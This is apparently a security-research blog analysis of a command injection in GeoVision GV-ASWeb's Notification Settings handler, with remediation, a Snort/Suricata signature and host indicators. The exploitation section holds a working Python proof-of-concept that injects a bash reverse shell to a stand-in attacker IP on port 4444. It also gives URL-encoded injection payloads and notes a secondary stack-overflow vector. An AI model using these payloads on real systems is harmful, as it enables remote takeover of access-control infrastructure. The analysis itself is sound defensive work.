home intel cve-2026-7841-geovision-asweb-rce-notification-settings
CVE Analysis 2026-05-06 · 8 min read

CVE-2026-7841: RCE via Command Injection in GeoVision GV-ASWeb 6.2.0

An authenticated attacker with System Setting permissions can execute arbitrary OS commands on GeoVision GV-ASWeb 6.2.0 by injecting shell metacharacters into Notification Settings fields routed through ASWebCommon.srf.

#remote-code-execution#authenticated-exploit#http-post-injection#geovision-nvr#privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7841 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7841Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7841 is a server-side command injection vulnerability in GeoVision GV-ASWeb 6.2.0, an access control web management platform widely deployed in enterprise physical security infrastructure. The vulnerability resides in the Notification Settings subsystem. When an authenticated user with System Setting privileges submits a POST request to ASWebCommon.srf, user-supplied field values are passed unsanitized to a backend shell invocation, granting the attacker arbitrary OS command execution as the web server process user — typically SYSTEM on Windows or root on embedded Linux variants.

CVSS 8.8 (HIGH) reflects the high impact across confidentiality, integrity, and availability axes, offset only by the authentication prerequisite. In practice, the required System Setting role is commonly granted to facility administrators, broadening the realistic attack surface beyond what the score implies.

Root cause: The HandleNotificationSettingsUpdate() backend handler passes attacker-controlled POST parameters directly to a shell command string via sprintf() without sanitization, enabling OS command injection through standard shell metacharacter sequences.

Affected Component

The vulnerable endpoint is /cgi-bin/ASWebCommon.srf, which acts as a unified backend dispatcher for GV-ASWeb's administrative features. The action=SaveNotificationSettings handler processes SMTP relay configuration, including fields such as smtp_server, smtp_port, email_sender, email_recipient, and test_cmd. The backend is a compiled CGI binary (PE or ELF depending on deployment) that invokes system utilities — such as a mail-sending helper or network test tool — by constructing shell command strings at runtime.

Frontend JavaScript validation in NotificationSettings.js enforces field format constraints, but these are trivially bypassed by sending the POST request directly, which the CVE description explicitly confirms.

Root Cause Analysis

The backend CGI handler deserializes the POST body, extracts notification parameters, and constructs a shell command string for an SMTP connectivity test or email dispatch helper. The critical flaw is the absence of any server-side sanitization before the string reaches system().


// ASWebCommon.srf — HandleNotificationSettingsUpdate()
// Reconstructed pseudocode from behavioral analysis and CVE class patterns

#define CMD_BUFFER_SIZE 512

typedef struct {
    /* +0x00 */ char smtp_server[128];
    /* +0x80 */ char smtp_port[8];
    /* +0x88 */ char email_sender[128];
    /* +0x108 */ char email_recipient[128];
    /* +0x188 */ char auth_user[64];
    /* +0x1C8 */ char auth_pass[64];
    /* +0x208 */ char test_flag[4];      // "1" triggers live send test
} NotificationParams;

int HandleNotificationSettingsUpdate(HTTPRequest *req) {
    NotificationParams params = {0};
    char cmd_buf[CMD_BUFFER_SIZE];

    // Parse POST body into params struct
    parse_post_body(req->body, ¶ms);

    // Persist settings to registry/config file
    SaveNotificationConfig(¶ms);

    if (strcmp(params.test_flag, "1") == 0) {
        // BUG: all fields are attacker-controlled strings injected directly
        // into the shell command with no sanitization or escaping applied.
        // A value like "mail.evil.com; id > /tmp/pwn" in smtp_server
        // results in: sendmail_helper "mail.evil.com; id > /tmp/pwn" ...
        sprintf(cmd_buf,
            "/opt/gv/bin/sendmail_helper \"%s\" \"%s\" \"%s\" \"%s\"",
            params.smtp_server,      // BUG: unsanitized attacker input
            params.smtp_port,        // BUG: unsanitized attacker input
            params.email_sender,     // BUG: unsanitized attacker input
            params.email_recipient); // BUG: unsanitized attacker input

        // system() invokes /bin/sh -c 
        // Shell interprets metacharacters: ; | ` $() & etc.
        int ret = system(cmd_buf);   // BUG: direct shell execution of composed string

        write_http_response(req, (ret == 0) ? "OK" : "FAIL");
    } else {
        write_http_response(req, "SAVED");
    }
    return 0;
}

The secondary injection surface exists in SaveNotificationConfig(), which writes parameter values into a configuration file or registry key that may be read back into subsequent shell invocations. However, the synchronous system() call in the test path is the primary and most directly exploitable sink.

Exploitation Mechanics


EXPLOIT CHAIN:

1. Authenticate to GV-ASWeb 6.2.0 with any account holding
   "System Setting" permissions (role ID: 0x04 in session token).

2. Craft a POST request directly to /cgi-bin/ASWebCommon.srf,
   bypassing JavaScript frontend validation entirely.
   Content-Type: application/x-www-form-urlencoded

3. Inject shell metacharacter payload into smtp_server field:
   smtp_server=legit.mail.com%22%3B%20%20%23
   Decoded: legit.mail.com";  #
   The trailing # comments out remaining sprintf() arguments.

4. Set test_flag=1 to trigger the system() code path in
   HandleNotificationSettingsUpdate().

5. Backend executes:
   /bin/sh -c '/opt/gv/bin/sendmail_helper "legit.mail.com";  # ...'
   Shell splits on ';', executes sendmail_helper (fails or succeeds),
   then executes PAYLOAD as a second command.

6. For reverse shell, PAYLOAD =
   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   or equivalent for the target OS.

7. Shell spawns as the CGI process owner (commonly SYSTEM / root).
   Full OS-level code execution achieved.

The crafted HTTP request:


import requests

TARGET   = "http://192.168.1.100"
SESSION  = "ASWEB_SESSION="
LHOST    = "10.10.10.10"
LPORT    = 4444

# Payload: inject after closing quote, comment out rest of sprintf args
PAYLOAD  = f'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'
INJECTED = f'legit.mail.com"; {PAYLOAD} #'

data = {
    "action":           "SaveNotificationSettings",
    "smtp_server":      INJECTED,        # injection point
    "smtp_port":        "25",
    "email_sender":     "a@a.com",
    "email_recipient":  "b@b.com",
    "auth_user":        "",
    "auth_pass":        "",
    "test_flag":        "1",             # triggers system() path
}

resp = requests.post(
    f"{TARGET}/cgi-bin/ASWebCommon.srf",
    data=data,
    headers={"Cookie": SESSION},
    timeout=10
)

print(f"[*] Response: {resp.status_code} — {resp.text[:80]}")
# If listener is running: shell connects back immediately

Memory Layout

While CVE-2026-7841 is a command injection bug rather than a heap/stack overflow, the stack frame layout of HandleNotificationSettingsUpdate() is relevant for understanding buffer interactions and secondary overflow potential when params.smtp_server exceeds 128 bytes via a non-conforming client:


STACK FRAME — HandleNotificationSettingsUpdate()

  [HIGH ADDRESS]
  ┌──────────────────────────────────┐
  │  return address                  │  ← +0x320 from frame base
  │  saved frame pointer             │  ← +0x318
  ├──────────────────────────────────┤
  │  cmd_buf[512]         (0x200)    │  ← local, sprintf destination
  ├──────────────────────────────────┤
  │  params.test_flag[4]             │  ← +0x208
  │  params.auth_pass[64]            │  ← +0x1C8
  │  params.auth_user[64]            │  ← +0x188
  │  params.email_recipient[128]     │  ← +0x108
  │  params.email_sender[128]        │  ← +0x88
  │  params.smtp_port[8]             │  ← +0x80
  │  params.smtp_server[128]         │  ← +0x00  (frame base)
  └──────────────────────────────────┘
  [LOW ADDRESS]

NOTE: parse_post_body() uses strncpy() with declared field sizes,
but the composed cmd_buf is only 512 bytes. A crafted smtp_server
of ~400 chars + fixed format string tokens can overflow cmd_buf
into the saved frame pointer — secondary stack smash vector
independent of the command injection primitive.

Patch Analysis

The correct remediation eliminates shell invocation entirely, replacing system() with a fork()/execv() pattern that passes arguments as discrete array members, sidestepping shell metacharacter interpretation. Additionally, each field must be validated server-side against a strict allowlist before use.


// BEFORE (vulnerable — GV-ASWeb 6.2.0):
sprintf(cmd_buf,
    "/opt/gv/bin/sendmail_helper \"%s\" \"%s\" \"%s\" \"%s\"",
    params.smtp_server,
    params.smtp_port,
    params.email_sender,
    params.email_recipient);
int ret = system(cmd_buf);   // shell interprets metacharacters


// AFTER (patched):
// 1. Server-side field validation before any processing
if (!is_valid_hostname(params.smtp_server)   ||
    !is_valid_port_str(params.smtp_port)     ||
    !is_valid_email(params.email_sender)     ||
    !is_valid_email(params.email_recipient)) {
    write_http_error(req, 400, "Invalid parameter format");
    return -1;
}

// 2. execv() — arguments never touch a shell; no metacharacter risk
char *argv[] = {
    "/opt/gv/bin/sendmail_helper",
    params.smtp_server,       // validated; passed as literal argv member
    params.smtp_port,
    params.email_sender,
    params.email_recipient,
    NULL
};

pid_t pid = fork();
if (pid == 0) {
    execv(argv[0], argv);     // child: no shell involved
    _exit(127);               // execv failed
}
int status;
waitpid(pid, &status, 0);
int ret = WIFEXITED(status) ? WEXITSTATUS(status) : -1;

Where execv() is unavailable (Windows CGI deployments), the equivalent fix is CreateProcessW() with explicit argument array construction and lpCommandLine = NULL, never WinExec() or system() with composed strings. Field validation should enforce: smtp_server matches ^[a-zA-Z0-9.\-]+$, smtp_port is a decimal integer in [1, 65535], and email fields conform to RFC 5321 local-part/domain constraints without shell metacharacters.

Detection and Indicators

Network detection — flag POST requests to /cgi-bin/ASWebCommon.srf where the body contains any of: ;, |, &, `, $(, >, <, \n, or %0a in the smtp_server, smtp_port, email_sender, or email_recipient parameters.


SNORT / SURICATA SIGNATURE:

alert http any any -> $HTTP_SERVERS any (
    msg:"CVE-2026-7841 GV-ASWeb Notification Settings CMD Injection";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/cgi-bin/ASWebCommon.srf";
    http.request_body;
    content:"action=SaveNotificationSettings";
    pcre:"/smtp_server=[^&]*[;|`$&><\n]/";
    classtype:web-application-attack;
    sid:2026784101; rev:1;
)

HOST INDICATORS:
- Unexpected child processes spawned by the ASWeb CGI worker:
    bash, sh, cmd.exe, powershell.exe, nc, curl, wget
- Outbound connections from web server process to non-SMTP ports
- New files in /tmp/, /opt/gv/, or %TEMP% owned by web process user
- Web server process with elevated child: id, whoami, net user

LOG ARTIFACTS (access.log pattern for exploit attempt):
POST /cgi-bin/ASWebCommon.srf HTTP/1.1 — body contains URL-encoded
shell metacharacters in notification parameter fields.
Response 200 with anomalously short body ("OK" or "FAIL") may
indicate successful injection (normal test emails return verbose status).

Remediation

Immediate: Restrict access to /cgi-bin/ASWebCommon.srf at the network perimeter. The System Setting role should be treated as equivalent to administrative OS access until patched.

Short-term: Apply vendor patch when released. Verify the patch eliminates system()/WinExec() calls in all notification-related handlers, not only the SMTP test path — SaveNotificationConfig() may write injected values into configuration files executed by separate scheduled processes.

Architectural: GeoVision should audit all ASWebCommon.srf action handlers for the same class of sink. Any handler that composes shell command strings from POST parameters is a candidate for the same injection pattern. The fix pattern — strict allowlist validation plus execv()/CreateProcessW() — must be applied uniformly, not only in the reported code path.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →